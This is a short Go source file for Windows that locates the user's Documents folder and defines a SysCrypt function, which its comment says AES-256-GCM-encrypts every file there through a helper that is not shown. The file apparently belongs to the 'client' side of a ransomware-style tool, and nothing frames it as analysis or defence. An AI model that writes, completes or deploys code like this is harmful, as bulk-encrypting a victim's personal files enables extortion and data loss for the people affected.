//go:build windows

package client

import (
	"fmt"
	"os"
	"path/filepath"

	"golang.org/x/sys/windows"
)

// documentsDir returns the current user's Documents folder path via the
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
func documentsDir() (string, error) {
	path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
	if err != nil {
		if up := os.Getenv("USERPROFILE"); up != "" {
			return filepath.Join(up, "Documents"), nil
		}
		return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
	}
	return path, nil
}

func defaultCryptDir() (string, error) {
	return documentsDir()
}

// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every file.
func SysCrypt() string {
	return EncryptPath("", true)
}